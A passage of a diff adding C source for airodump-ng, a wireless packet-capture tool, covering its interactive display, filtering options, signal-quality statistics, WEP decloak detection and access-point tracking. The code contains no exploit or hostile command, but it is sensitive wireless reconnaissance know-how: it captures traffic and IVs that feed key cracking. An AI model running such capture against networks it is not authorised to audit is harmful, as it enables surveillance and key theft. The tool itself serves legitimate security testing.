+	lopt.mark_cur_ap = 0;
+	lopt.do_pause = 0;
+	lopt.do_sort_always = 0;
+	memset(lopt.selected_bssid, '\x00', 6);
+}
+
+static void color_off(void)
+{
+	struct AP_info * ap_cur;
+
+	ap_cur = lopt.ap_1st;
+	while (ap_cur != NULL)
+	{
+		ap_cur->marked = 0;
+		ap_cur->marked_color = 1;
+		ap_cur = ap_cur->next;
+	}
+
+	textcolor_normal();
+	textcolor_fg(TEXT_WHITE);
+}
+
+static void color_on(void)
+{
+	struct AP_info * ap_cur;
+	struct ST_info * st_cur;
+	int color = 1;
+
+	color_off();
+
+	ap_cur = lopt.ap_end;
+
+	while (ap_cur != NULL)
+	{
+		if (ap_cur->nb_pkt < lopt.min_pkts
+			|| time(NULL) - ap_cur->tlast > lopt.berlin)
+		{
+			ap_cur = ap_cur->prev;
+			continue;
+		}
+
+		if (ap_cur->security != 0 && lopt.f_encrypt != 0
+			&& ((ap_cur->security & lopt.f_encrypt) == 0))
+		{
+			ap_cur = ap_cur->prev;
+			continue;
+		}
+
+		// Don't filter unassociated clients by ESSID
+		if (memcmp(ap_cur->bssid, BROADCAST, 6) != 0
+			&& is_filtered_essid(ap_cur->essid))
+		{
+			ap_cur = ap_cur->prev;
+			continue;
+		}
+
+		st_cur = lopt.st_end;
+
+		while (st_cur != NULL)
+		{
+			if (st_cur->base != ap_cur
+				|| time(NULL) - st_cur->tlast > lopt.berlin)
+			{
+				st_cur = st_cur->prev;
+				continue;
+			}
+
+			if (!memcmp(ap_cur->bssid, BROADCAST, 6) && lopt.asso_client)
+			{
+				st_cur = st_cur->prev;
+				continue;
+			}
+
+			if (color > TEXT_MAX_COLOR) color++;
+
+			if (!ap_cur->marked)
+			{
+				ap_cur->marked = 1;
+				if (!memcmp(ap_cur->bssid, BROADCAST, 6))
+					ap_cur->marked_color = 1;
+				else
+					ap_cur->marked_color = color++;
+			}
+			else
+				ap_cur->marked_color = 1;
+
+			st_cur = st_cur->prev;
+		}
+
+		ap_cur = ap_cur->prev;
+	}
+}
+
+static void input_thread(void * arg)
+{
+	UNUSED_PARAM(arg);
+
+	while (lopt.do_exit == 0)
+	{
+		int keycode = 0;
+
+		keycode = mygetch();
+
+		if (keycode == KEY_q)
+		{
+			quitting_event_ts = time(NULL);
+
+			if (++quitting > 1)
+				lopt.do_exit = 1;
+			else
+				snprintf(
+					lopt.message,
+					sizeof(lopt.message),
+					"][ Are you sure you want to quit? Press Q again to quit.");
+		}
+
+		if (keycode == KEY_o)
+		{
+			color_on();
+			snprintf(lopt.message, sizeof(lopt.message), "][ color on");
+		}
+
+		if (keycode == KEY_p)
+		{
+			color_off();
+			snprintf(lopt.message, sizeof(lopt.message), "][ color off");
+		}
+
+		if (keycode == KEY_s)
+		{
+			lopt.sort_by++;
+
+			if (lopt.sort_by > MAX_SORT) lopt.sort_by = 0;
+
+			switch (lopt.sort_by)
+			{
+				case SORT_BY_NOTHING:
+					snprintf(lopt.message,
+							 sizeof(lopt.message),
+							 "][ sorting by first seen");
+					break;
+				case SORT_BY_BSSID:
+					snprintf(lopt.message,
+							 sizeof(lopt.message),
+							 "][ sorting by bssid");
+					break;
+				case SORT_BY_POWER:
+					snprintf(lopt.message,
+							 sizeof(lopt.message),
+							 "][ sorting by power level");
+					break;
+				case SORT_BY_BEACON:
+					snprintf(lopt.message,
+							 sizeof(lopt.message),
+							 "][ sorting by beacon number");
+					break;
+				case SORT_BY_DATA:
+					snprintf(lopt.message,
+							 sizeof(lopt.message),
+							 "][ sorting by number of data packets");
+					break;
+				case SORT_BY_PRATE:
+					snprintf(lopt.message,
+							 sizeof(lopt.message),
+							 "][ sorting by packet rate");
+					break;
+				case SORT_BY_CHAN:
+					snprintf(lopt.message,
+							 sizeof(lopt.message),
+							 "][ sorting by channel");
+					break;
+				case SORT_BY_MBIT:
+					snprintf(lopt.message,
+							 sizeof(lopt.message),
+							 "][ sorting by max data rate");
+					break;
+				case SORT_BY_ENC:
+					snprintf(lopt.message,
+							 sizeof(lopt.message),
+							 "][ sorting by encryption");
+					break;
+				case SORT_BY_CIPHER:
+					snprintf(lopt.message,
+							 sizeof(lopt.message),
+							 "][ sorting by cipher");
+					break;
+				case SORT_BY_AUTH:
+					snprintf(lopt.message,
+							 sizeof(lopt.message),
+							 "][ sorting by authentication");
+					break;
+				case SORT_BY_ESSID:
+					snprintf(lopt.message,
+							 sizeof(lopt.message),
+							 "][ sorting by ESSID");
+					break;
+				default:
+					break;
+			}
+			ALLEGE(pthread_mutex_lock(&(lopt.mx_sort)) == 0);
+			dump_sort();
+			ALLEGE(pthread_mutex_unlock(&(lopt.mx_sort)) == 0);
+		}
+
+		if (keycode == KEY_SPACE)
+		{
+			lopt.do_pause = (lopt.do_pause + 1) % 2;
+			if (lopt.do_pause)
+			{
+				snprintf(
+					lopt.message, sizeof(lopt.message), "][ paused output");
+				ALLEGE(pthread_mutex_lock(&(lopt.mx_print)) == 0);
+
+				dump_print(lopt.ws.ws_row, lopt.ws.ws_col, lopt.num_cards);
+
+				ALLEGE(pthread_mutex_unlock(&(lopt.mx_print)) == 0);
+			}
+			else
+				snprintf(
+					lopt.message, sizeof(lopt.message), "][ resumed output");
+		}
+
+		if (keycode == KEY_r)
+		{
+			lopt.do_sort_always = (lopt.do_sort_always + 1) % 2;
+			if (lopt.do_sort_always)
+				snprintf(lopt.message,
+						 sizeof(lopt.message),
+						 "][ realtime sorting activated");
+			else
+				snprintf(lopt.message,
+						 sizeof(lopt.message),
+						 "][ realtime sorting deactivated");
+		}
+
+		if (keycode == KEY_m)
+		{
+			lopt.mark_cur_ap = 1;
+		}
+
+		if (keycode == KEY_ARROW_DOWN)
+		{
+			if (lopt.p_selected_ap && lopt.p_selected_ap->prev)
+			{
+				lopt.p_selected_ap = lopt.p_selected_ap->prev;
+				lopt.en_selection_direction = selection_direction_down;
+			}
+		}
+
+		if (keycode == KEY_ARROW_UP)
+		{
+			if (lopt.p_selected_ap && lopt.p_selected_ap->next)
+			{
+				lopt.p_selected_ap = lopt.p_selected_ap->next;
+				lopt.en_selection_direction = selection_direction_up;
+			}
+		}
+
+		if (keycode == KEY_i)
+		{
+			lopt.sort_inv *= -1;
+			if (lopt.sort_inv < 0)
+				snprintf(lopt.message,
+						 sizeof(lopt.message),
+						 "][ inverted sorting order");
+			else
+				snprintf(lopt.message,
+						 sizeof(lopt.message),
+						 "][ normal sorting order");
+		}
+
+		if (keycode == KEY_TAB)
+		{
+			if (lopt.p_selected_ap == NULL)
+			{
+				lopt.p_selected_ap = lopt.ap_end;
+				lopt.en_selection_direction = selection_direction_down;
+				snprintf(lopt.message,
+						 sizeof(lopt.message),
+						 "][ enabled AP selection");
+				lopt.sort_by = SORT_BY_NOTHING;
+			}
+			else
+			{
+				lopt.en_selection_direction = selection_direction_no;
+				lopt.p_selected_ap = NULL;
+				lopt.sort_by = SORT_BY_NOTHING;
+				snprintf(lopt.message,
+						 sizeof(lopt.message),
+						 "][ disabled selection");
+			}
+		}
+
+		if (keycode == KEY_a)
+		{
+			if (lopt.show_ap == 1 && lopt.show_sta == 1 && lopt.show_ack == 0)
+			{
+				lopt.show_ap = 1;
+				lopt.show_sta = 1;
+				lopt.show_ack = 1;
+				snprintf(lopt.message,
+						 sizeof(lopt.message),
+						 "][ display ap+sta+ack");
+			}
+			else if (lopt.show_ap == 1 && lopt.show_sta == 1
+					 && lopt.show_ack == 1)
+			{
+				lopt.show_ap = 1;
+				lopt.show_sta = 0;
+				lopt.show_ack = 0;
+				snprintf(
+					lopt.message, sizeof(lopt.message), "][ display ap only");
+			}
+			else if (lopt.show_ap == 1 && lopt.show_sta == 0
+					 && lopt.show_ack == 0)
+			{
+				lopt.show_ap = 0;
+				lopt.show_sta = 1;
+				lopt.show_ack = 0;
+				snprintf(
+					lopt.message, sizeof(lopt.message), "][ display sta only");
+			}
+			else if (lopt.show_ap == 0 && lopt.show_sta == 1
+					 && lopt.show_ack == 0)
+			{
+				lopt.show_ap = 1;
+				lopt.show_sta = 1;
+				lopt.show_ack = 0;
+				snprintf(
+					lopt.message, sizeof(lopt.message), "][ display ap+sta");
+			}
+		}
+
+		if (keycode == KEY_d)
+		{
+			resetSelection();
+			snprintf(lopt.message,
+					 sizeof(lopt.message),
+					 "][ reset selection to default");
+		}
+
+		if (lopt.do_exit == 0 && !lopt.do_pause)
+		{
+			ALLEGE(pthread_mutex_lock(&(lopt.mx_print)) == 0);
+
+			dump_print(lopt.ws.ws_row, lopt.ws.ws_col, lopt.num_cards);
+
+			ALLEGE(pthread_mutex_unlock(&(lopt.mx_print)) == 0);
+		}
+	}
+}
+
+static FILE * open_oui_file(void)
+{
+	int i;
+	FILE * fp = NULL;
+
+	for (i = 0; OUI_PATHS[i] != NULL; i++)
+	{
+		fp = fopen(OUI_PATHS[i], "r");
+		if (fp != NULL)
+		{
+			break;
+		}
+	}
+
+	return (fp);
+}
+
+static struct oui * load_oui_file(void)
+{
+	FILE * fp;
+	char * manuf;
+	char buffer[BUFSIZ];
+	unsigned char a[2];
+	unsigned char b[2];
+	unsigned char c[2];
+	struct oui *oui_ptr = NULL, *oui_head = NULL;
+
+	fp = open_oui_file();
+	if (!fp)
+	{
+		return (NULL);
+	}
+
+	memset(buffer, 0x00, sizeof(buffer));
+	while (fgets(buffer, sizeof(buffer), fp) != NULL)
+	{
+		if (!(strstr(buffer, "(hex)"))) continue;
+
+		memset(a, 0x00, sizeof(a));
+		memset(b, 0x00, sizeof(b));
+		memset(c, 0x00, sizeof(c));
+		// Remove leading/trailing whitespaces.
+		trim(buffer);
+		if (sscanf(buffer, "%2c-%2c-%2c", (char *) a, (char *) b, (char *) c)
+			== 3)
+		{
+			if (oui_ptr == NULL)
+			{
+				if (!(oui_ptr = (struct oui *) malloc(sizeof(struct oui))))
+				{
+					fclose(fp);
+					perror("malloc failed");
+					return (NULL);
+				}
+			}
+			else
+			{
+				if (!(oui_ptr->next
+					  = (struct oui *) malloc(sizeof(struct oui))))
+				{
+					fclose(fp);
+					perror("malloc failed");
+
+					while (oui_head != NULL)
+					{
+						oui_ptr = oui_head->next;
+						free(oui_head);
+						oui_head = oui_ptr;
+					}
+					return (NULL);
+				}
+				oui_ptr = oui_ptr->next;
+			}
+			memset(oui_ptr->id, 0x00, sizeof(oui_ptr->id));
+			memset(oui_ptr->manuf, 0x00, sizeof(oui_ptr->manuf));
+			snprintf(oui_ptr->id,
+					 sizeof(oui_ptr->id),
+					 "%c%c:%c%c:%c%c",
+					 a[0],
+					 a[1],
+					 b[0],
+					 b[1],
+					 c[0],
+					 c[1]);
+			manuf = get_manufacturer_from_string(buffer);
+			if (manuf != NULL)
+			{
+				snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "%s", manuf);
+				free(manuf);
+			}
+			else
+			{
+				snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "Unknown");
+			}
+			if (oui_head == NULL) oui_head = oui_ptr;
+			oui_ptr->next = NULL;
+		}
+	}
+
+	fclose(fp);
+	return (oui_head);
+}
+
+static const char usage[] =
+
+	"\n"
+	"  %s - (C) 2006-2020 Thomas d\'Otreppe\n"
+	"  https://www.aircrack-ng.org\n"
+	"\n"
+	"  usage: airodump-ng <options> <interface>[,<interface>,...]\n"
+	"\n"
+	"  Options:\n"
+	"      --ivs                 : Save only captured IVs\n"
+	"      --gpsd                : Use GPSd\n"
+	"      --write      <prefix> : Dump file prefix\n"
+	"      -w                    : same as --write \n"
+	"      --beacons             : Record all beacons in dump file\n"
+	"      --update       <secs> : Display update delay in seconds\n"
+	"      --showack             : Prints ack/cts/rts statistics\n"
+	"      -h                    : Hides known stations for --showack\n"
+	"      -f            <msecs> : Time in ms between hopping channels\n"
+	"      --berlin       <secs> : Time before removing the AP/client\n"
+	"                              from the screen when no more packets\n"
+	"                              are received (Default: 120 seconds)\n"
+	"      -r             <file> : Read packets from that file\n"
+	"      -T                    : While reading packets from a file,\n"
+	"                              simulate the arrival rate of them\n"
+	"                              as if they were \"live\".\n"
+	"      -x            <msecs> : Active Scanning Simulation\n"
+	"      --manufacturer        : Display manufacturer from IEEE OUI list\n"
+	"      --uptime              : Display AP Uptime from Beacon Timestamp\n"
+	"      --wps                 : Display WPS information (if any)\n"
+	"      --output-format\n"
+	"                  <formats> : Output format. Possible values:\n"
+	"                              pcap, ivs, csv, gps, kismet, netxml, "
+	"logcsv\n"
+	"      --ignore-negative-one : Removes the message that says\n"
+	"                              fixed channel <interface>: -1\n"
+	"      --write-interval\n"
+	"                  <seconds> : Output file(s) write interval in seconds\n"
+	"      --background <enable> : Override background detection.\n"
+	"      -n              <int> : Minimum AP packets recv'd before\n"
+	"                              for displaying it\n"
+	"\n"
+	"  Filter options:\n"
+	"      --encrypt   <suite>   : Filter APs by cipher suite\n"
+	"      --netmask <netmask>   : Filter APs by mask\n"
+	"      --bssid     <bssid>   : Filter APs by BSSID\n"
+	"      --essid     <essid>   : Filter APs by ESSID\n"
+#ifdef HAVE_PCRE
+	"      --essid-regex <regex> : Filter APs by ESSID using a regular\n"
+	"                              expression\n"
+#endif
+	"      -a                    : Filter unassociated clients\n"
+	"\n"
+	"  By default, airodump-ng hops on 2.4GHz channels.\n"
+	"  You can make it capture on other/specific channel(s) by using:\n"
+	"      --ht20                : Set channel to HT20 (802.11n)\n"
+	"      --ht40-               : Set channel to HT40- (802.11n)\n"
+	"      --ht40+               : Set channel to HT40+ (802.11n)\n"
+	"      --channel <channels>  : Capture on specific channels\n"
+	"      --band <abg>          : Band on which airodump-ng should hop\n"
+	"      -C    <frequencies>   : Uses these frequencies in MHz to hop\n"
+	"      --cswitch  <method>   : Set channel switching method\n"
+	"                    0       : FIFO (default)\n"
+	"                    1       : Round Robin\n"
+	"                    2       : Hop on last\n"
+	"      -s                    : same as --cswitch\n"
+	"\n"
+	"      --help                : Displays this usage screen\n"
+	"\n";
+
+static void airodump_usage(void)
+{
+	char * const l_usage = getVersion(
+		"Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	printf(usage, l_usage);
+	free(l_usage);
+}
+
+static int is_filtered_netmask(const uint8_t * bssid)
+{
+	REQUIRE(bssid != NULL);
+
+	unsigned char mac1[6];
+	unsigned char mac2[6];
+	int i;
+
+	for (i = 0; i < 6; i++)
+	{
+		mac1[i] = bssid[i] & opt.f_netmask[i];
+		mac2[i] = opt.f_bssid[i] & opt.f_netmask[i];
+	}
+
+	if (memcmp(mac1, mac2, 6) != 0)
+	{
+		return (1);
+	}
+
+	return (0);
+}
+
+int is_filtered_essid(const uint8_t * essid)
+{
+	REQUIRE(essid != NULL);
+
+	int ret = 0;
+	int i;
+
+	if (lopt.f_essid)
+	{
+		for (i = 0; i < lopt.f_essid_count; i++)
+		{
+			if (strncmp((char *) essid, lopt.f_essid[i], ESSID_LENGTH) == 0)
+			{
+				return (0);
+			}
+		}
+
+		ret = 1;
+	}
+
+#ifdef HAVE_PCRE
+	if (lopt.f_essid_regex)
+	{
+		return pcre_exec(lopt.f_essid_regex,
+						 NULL,
+						 (char *) essid,
+						 (int) strnlen((char *) essid, ESSID_LENGTH),
+						 0,
+						 0,
+						 NULL,
+						 0)
+			   < 0;
+	}
+#endif
+
+	return (ret);
+}
+
+static void update_rx_quality(void)
+{
+	unsigned long time_diff, capt_time, miss_time;
+	int missed_frames;
+	struct AP_info * ap_cur = NULL;
+	struct ST_info * st_cur = NULL;
+	struct timeval cur_time;
+
+	ap_cur = lopt.ap_1st;
+	st_cur = lopt.st_1st;
+
+	gettimeofday(&cur_time, NULL);
+
+	/* accesspoints */
+	while (ap_cur != NULL)
+	{
+		time_diff = 1000000UL * (cur_time.tv_sec - ap_cur->ftimer.tv_sec)
+					+ (cur_time.tv_usec - ap_cur->ftimer.tv_usec);
+
+		/* update every `QLT_TIME`seconds if the rate is low, or every 500ms
+		 * otherwise */
+		if ((ap_cur->fcapt >= QLT_COUNT && time_diff > 500000)
+			|| time_diff > (QLT_TIME * 1000000))
+		{
+			/* at least one frame captured */
+			if (ap_cur->fcapt > 1)
+			{
+				capt_time
+					= (1000000UL * (ap_cur->ftimel.tv_sec
+									- ap_cur->ftimef.tv_sec) // time between
+					   // first and last
+					   // captured frame
+					   + (ap_cur->ftimel.tv_usec - ap_cur->ftimef.tv_usec));
+
+				miss_time
+					= (1000000UL * (ap_cur->ftimef.tv_sec
+									- ap_cur->ftimer.tv_sec) // time between
+					   // timer reset and
+					   // first frame
+					   + (ap_cur->ftimef.tv_usec - ap_cur->ftimer.tv_usec))
+					  + (1000000UL * (cur_time.tv_sec
+									  - ap_cur->ftimel.tv_sec) // time between
+						 // last frame and
+						 // this moment
+						 + (cur_time.tv_usec - ap_cur->ftimel.tv_usec));
+
+				// number of frames missed at the time where no frames were
+				// captured; extrapolated by assuming a constant framerate
+				if (capt_time > 0 && miss_time > 200000)
+				{
+					missed_frames
+						= (int) (((float) miss_time / (float) capt_time)
+								 * ((float) ap_cur->fcapt
+									+ (float) ap_cur->fmiss));
+					ap_cur->fmiss += missed_frames;
+				}
+
+				ap_cur->rx_quality
+					= (int) (((float) ap_cur->fcapt
+							  / ((float) ap_cur->fcapt + (float) ap_cur->fmiss))
+							 *
+#if defined(__x86_64__) && defined(__CYGWIN__)
+							 (0.0f + 100));
+#else
+							 100.0f);
+#endif
+			}
+			else
+				ap_cur->rx_quality = 0; /* no packets -> zero quality */
+
+			/* normalize, in case the seq numbers are not iterating */
+			if (ap_cur->rx_quality > 100) ap_cur->rx_quality = 100;
+			if (ap_cur->rx_quality < 0) ap_cur->rx_quality = 0;
+
+			/* reset variables */
+			ap_cur->fcapt = 0;
+			ap_cur->fmiss = 0;
+			gettimeofday(&(ap_cur->ftimer), NULL);
+		}
+		ap_cur = ap_cur->next;
+	}
+
+	/* stations */
+	while (st_cur != NULL)
+	{
+		time_diff = 1000000UL * (cur_time.tv_sec - st_cur->ftimer.tv_sec)
+					+ (cur_time.tv_usec - st_cur->ftimer.tv_usec);
+
+		if (time_diff > 10000000)
+		{
+			st_cur->missed = 0;
+			gettimeofday(&(st_cur->ftimer), NULL);
+		}
+
+		st_cur = st_cur->next;
+	}
+}
+
+static int update_dataps(void)
+{
+	struct timeval tv;
+	struct AP_info * ap_cur;
+	struct NA_info * na_cur;
+	int ps;
+	unsigned long diff;
+	float pause;
+	time_t sec;
+	suseconds_t usec;
+
+	gettimeofday(&tv, NULL);
+
+	ap_cur = lopt.ap_end;
+
+	while (ap_cur != NULL)
+	{
+		sec = (tv.tv_sec - ap_cur->tv.tv_sec);
+		usec = (tv.tv_usec - ap_cur->tv.tv_usec);
+#if defined(__x86_64__) && defined(__CYGWIN__)
+		pause = (((sec * (0.0f + 1000000.0f) + usec)) / ((0.0f + 1000000.0f)));
+#else
+		pause = (sec * 1000000.0f + usec) / (1000000.0f);
+#endif
+		if (pause > 2.0f)
+		{
+			diff = ap_cur->nb_data - ap_cur->nb_data_old;
+			ps = (int) (((float) diff) / pause);
+			ap_cur->nb_dataps = ps;
+			ap_cur->nb_data_old = ap_cur->nb_data;
+			gettimeofday(&(ap_cur->tv), NULL);
+		}
+		ap_cur = ap_cur->prev;
+	}
+
+	na_cur = lopt.na_1st;
+
+	while (na_cur != NULL)
+	{
+		sec = (tv.tv_sec - na_cur->tv.tv_sec);
+		usec = (tv.tv_usec - na_cur->tv.tv_usec);
+#if defined(__x86_64__) && defined(__CYGWIN__)
+		pause = (((sec * (0.0f + 1000000.0f) + usec)) / ((0.0f + 1000000.0f)));
+#else
+		pause = (sec * 1000000.0f + usec) / (1000000.0f);
+#endif
+		if (pause > 2.0f)
+		{
+			diff = (unsigned long) (na_cur->ack - na_cur->ack_old);
+			ps = (int) (((float) diff) / pause);
+			na_cur->ackps = ps;
+			na_cur->ack_old = na_cur->ack;
+			gettimeofday(&(na_cur->tv), NULL);
+		}
+		na_cur = na_cur->next;
+	}
+
+	return (0);
+}
+
+static int list_tail_free(struct pkt_buf ** list)
+{
+	struct pkt_buf ** pkts;
+	struct pkt_buf * next;
+
+	if (list == NULL) return 1;
+
+	pkts = list;
+
+	while (*pkts != NULL)
+	{
+		next = (*pkts)->next;
+		if ((*pkts)->packet)
+		{
+			free((*pkts)->packet);
+			(*pkts)->packet = NULL;
+		}
+
+		free(*pkts);
+		*pkts = NULL;
+		*pkts = next;
+	}
+
+	*list = NULL;
+
+	return (0);
+}
+
+static int
+list_add_packet(struct pkt_buf ** list, int length, unsigned char * packet)
+{
+	struct pkt_buf * next;
+
+	if (length <= 0) return 1;
+	if (packet == NULL) return 1;
+	if (list == NULL) return 1;
+
+	next = *list;
+
+	*list = (struct pkt_buf *) malloc(sizeof(struct pkt_buf));
+	if (*list == NULL) return 1;
+	(*list)->packet = (unsigned char *) malloc((size_t) length);
+	if ((*list)->packet == NULL) return 1;
+
+	memcpy((*list)->packet, packet, (size_t) length);
+	(*list)->next = next;
+	(*list)->length = (uint16_t) length;
+	gettimeofday(&((*list)->ctime), NULL);
+
+	return (0);
+}
+
+/*
+ * Check if the same IV was used if the first two bytes were the same.
+ * If they are not identical, it would complain.
+ * The reason is that the first two bytes unencrypted are 'aa'
+ * so with the same IV it should always be encrypted to the same thing.
+ */
+static int
+list_check_decloak(struct pkt_buf ** list, int length, const uint8_t * packet)
+{
+	struct pkt_buf * next;
+	struct timeval tv1;
+	unsigned long timediff;
+	int i, correct;
+
+	if (packet == NULL) return (1);
+	if (list == NULL) return (1);
+	if (*list == NULL) return (1);
+	if (length <= 0) return (1);
+	next = *list;
+
+	gettimeofday(&tv1, NULL);
+
+	timediff = (((tv1.tv_sec - ((*list)->ctime.tv_sec)) * 1000000UL)
+				+ (tv1.tv_usec - ((*list)->ctime.tv_usec)))
+			   / 1000;
+	if (timediff > BUFFER_TIME)
+	{
+		list_tail_free(list);
+		next = NULL;
+	}
+
+	while (next != NULL)
+	{
+		if (next->next != NULL)
+		{
+			timediff = (((tv1.tv_sec - (next->next->ctime.tv_sec)) * 1000000UL)
+						+ (tv1.tv_usec - (next->next->ctime.tv_usec)))
+					   / 1000;
+			if (timediff > BUFFER_TIME)
+			{
+				list_tail_free(&(next->next));
+				break;
+			}
+		}
+		if ((next->length + 4) == length)
+		{
+			correct = 1;
+			// check for 4 bytes added after the end
+			for (i = 28; i < length - 28; i++) // check everything (in the old
+			// packet) after the IV
+			// (including crc32 at the end)
+			{
+				if (next->packet[i] != packet[i])
+				{
+					correct = 0;
+					break;
+				}
+			}
+			if (!correct)
+			{
+				correct = 1;
+				// check for 4 bytes added at the beginning
+				for (i = 28; i < length - 28; i++) // check everything (in the
+				// old packet) after the IV
+				// (including crc32 at the
+				// end)
+				{
+					if (next->packet[i] != packet[4 + i])
+					{
+						correct = 0;
+						break;
+					}
+				}
+			}
+			if (correct == 1) return (0); // found decloaking!
+		}
+		next = next->next;
+	}
+
+	return (1); // didn't find decloak
+}
+
+static int remove_namac(unsigned char * mac)
+{
+	struct NA_info * na_cur = NULL;
+	struct NA_info * na_prv = NULL;
+
+	if (mac == NULL) return (-1);
+
+	na_cur = lopt.na_1st;
+	na_prv = NULL;
+
+	while (na_cur != NULL)
+	{
+		if (!memcmp(na_cur->namac, mac, 6)) break;
+
+		na_prv = na_cur;
+		na_cur = na_cur->next;
+	}
+
+	/* if it's known, remove it */
+	if (na_cur != NULL)
+	{
+		/* first in linked list */
+		if (na_cur == lopt.na_1st)
+		{
+			lopt.na_1st = na_cur->next;
+		}
+		else
+		{
+			na_prv->next = na_cur->next;
+		}
+		free(na_cur);
+	}
+
+	return (0);
+}
+
+// NOTE(jbenden): This is also in ivstools.c
+static int dump_add_packet(unsigned char * h80211,
+						   int caplen,
+						   struct rx_info * ri,
+						   int cardnum)
+{
+	REQUIRE(h80211 != NULL);
+
+	int seq, msd, offset, clen, o;
+	size_t i;
+	size_t n;
+	size_t dlen;
+	unsigned z;
+	int type, length, numuni = 0;
+	size_t numauth = 0;
+	struct pcap_pkthdr pkh;
+	struct timeval tv;
+	struct ivs2_pkthdr ivs2;
+	unsigned char *p, *org_p, c;
+	unsigned char bssid[6];
+	unsigned char stmac[6];
+	unsigned char namac[6];
+	unsigned char clear[2048];
+	int weight[16];
+	int num_xor = 0;
+
+	struct AP_info * ap_cur = NULL;
+	struct ST_info * st_cur = NULL;
+	struct NA_info * na_cur = NULL;
+	struct AP_info * ap_prv = NULL;
+	struct ST_info * st_prv = NULL;
+	struct NA_info * na_prv = NULL;
+
+	/* skip all non probe response frames in active scanning simulation mode */
+	if (lopt.active_scan_sim > 0 && h80211[0] != 0x50) return (0);
+
+	/* skip packets smaller than a 802.11 header */
+
+	if (caplen < (int) sizeof(struct ieee80211_frame)) goto write_packet;
+
+	/* skip (uninteresting) control frames */
+
+	if ((h80211[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL)
+		goto write_packet;
+
+	/* if it's a LLC null packet, just forget it (may change in the future) */
+
+	if (caplen > 28)
+		if (memcmp(h80211 + 24, llcnull, 4) == 0) return (0);
+
+	/* grab the sequence number */
+	seq = ((h80211[22] >> 4) + (h80211[23] << 4));
+
+	/* locate the access point's MAC address */
+
+	switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
+	{
+		case IEEE80211_FC1_DIR_NODS:
+			memcpy(bssid, h80211 + 16, 6); //-V525
+			break; // Adhoc
+		case IEEE80211_FC1_DIR_TODS:
+			memcpy(bssid, h80211 + 4, 6);
+			break; // ToDS
+		case IEEE80211_FC1_DIR_FROMDS:
+			memcpy(bssid, h80211 + 10, 6);
+			break; // FromDS
+		case IEEE80211_FC1_DIR_DSTODS:
+			memcpy(bssid, h80211 + 10, 6);
+			break; // WDS -> Transmitter taken as BSSID
+		default:
+			abort();
+	}
+
+	if (memcmp(opt.f_bssid, NULL_MAC, 6) != 0)
+	{
+		if (memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
+		{
+			if (is_filtered_netmask(bssid)) return (1);
+		}
+		else
+		{
+			if (memcmp(opt.f_bssid, bssid, 6) != 0) return (1);
+		}
+	}
+
+	/* update our chained list of access points */
+
+	ap_cur = lopt.ap_1st;
+	ap_prv = NULL;
+
+	while (ap_cur != NULL)
+	{
+		if (!memcmp(ap_cur->bssid, bssid, 6)) break;
+
+		ap_prv = ap_cur;
+		ap_cur = ap_cur->next;
+	}
+
+	/* if it's a new access point, add it */
+
+	if (ap_cur == NULL)
+	{
+		if (!(ap_cur = (struct AP_info *) calloc(1, sizeof(struct AP_info))))
+		{
+			perror("calloc failed");
+			return (1);
+		}
+
+		/* if mac is listed as unknown, remove it */
+		remove_namac(bssid);
+
+		if (lopt.ap_1st == NULL)
+			lopt.ap_1st = ap_cur;
+		else if (ap_prv != NULL)
+			ap_prv->next = ap_cur;
+
+		memcpy(ap_cur->bssid, bssid, 6);
+		if (ap_cur->manuf == NULL)
+		{
+			ap_cur->manuf = get_manufacturer(
+				ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]);
+		}
+
+		ap_cur->nb_pkt = 0;
+		ap_cur->prev = ap_prv;
+
+		ap_cur->tinit = time(NULL);
+		ap_cur->tlast = time(NULL);
+
+		ap_cur->avg_power = -1;
+		ap_cur->best_power = -1;
+		ap_cur->power_index = -1;
+
+		for (i = 0; i < NB_PWR; i++) ap_cur->power_lvl[i] = -1;
+
+		ap_cur->channel = -1;
+		ap_cur->max_speed = -1;
+		ap_cur->security = 0;
+
+		ap_cur->ivbuf = NULL;
+		ap_cur->ivbuf_size = 0;
+		ap_cur->uiv_root = uniqueiv_init();
+
+		ap_cur->nb_data = 0;
+		ap_cur->nb_dataps = 0;
+		ap_cur->nb_data_old = 0;
+		gettimeofday(&(ap_cur->tv), NULL);
+
+		ap_cur->dict_started = 0;
+
+		ap_cur->key = NULL;
+
+		lopt.ap_end = ap_cur;
+
+		ap_cur->nb_bcn = 0;
+
+		ap_cur->rx_quality = 0;
+		ap_cur->fcapt = 0;
+		ap_cur->fmiss = 0;
+		ap_cur->last_seq = 0;
+		gettimeofday(&(ap_cur->ftimef), NULL);
+		gettimeofday(&(ap_cur->ftimel), NULL);
+		gettimeofday(&(ap_cur->ftimer), NULL);
+
+		ap_cur->ssid_length = 0;
+		ap_cur->essid_stored = 0;
+		memset(ap_cur->essid, 0, ESSID_LENGTH + 1);
+		ap_cur->timestamp = 0;
+
+		ap_cur->decloak_detect = lopt.decloak;
+		ap_cur->is_decloak = 0;
+		ap_cur->packets = NULL;
+
+		ap_cur->marked = 0;
+		ap_cur->marked_color = 1;
+
+		ap_cur->data_root = NULL;
+		ap_cur->EAP_detected = 0;
+		memcpy(ap_cur->gps_loc_min, lopt.gps_loc, sizeof(float) * 5); //-V512
+		memcpy(ap_cur->gps_loc_max, lopt.gps_loc, sizeof(float) * 5); //-V512
+		memcpy(ap_cur->gps_loc_best, lopt.gps_loc, sizeof(float) * 5); //-V512
+
+		/* 802.11n and ac */
+		ap_cur->channel_width = CHANNEL_22MHZ; // 20MHz by default
+		memset(ap_cur->standard, 0, 3);
+
+		ap_cur->n_channel.sec_channel = -1;
+		ap_cur->n_channel.short_gi_20 = 0;
+		ap_cur->n_channel.short_gi_40 = 0;
+		ap_cur->n_channel.any_chan_width = 0;
+		ap_cur->n_channel.mcs_index = -1;
+
+		ap_cur->ac_channel.center_sgmt[0] = 0;
+		ap_cur->ac_channel.center_sgmt[1] = 0;
+		ap_cur->ac_channel.mu_mimo = 0;
+		ap_cur->ac_channel.short_gi_80 = 0;
+		ap_cur->ac_channel.short_gi_160 = 0;
+		ap_cur->ac_channel.split_chan = 0;
+		ap_cur->ac_channel.mhz_160_chan = 0;
+		ap_cur->ac_channel.wave_2 = 0;
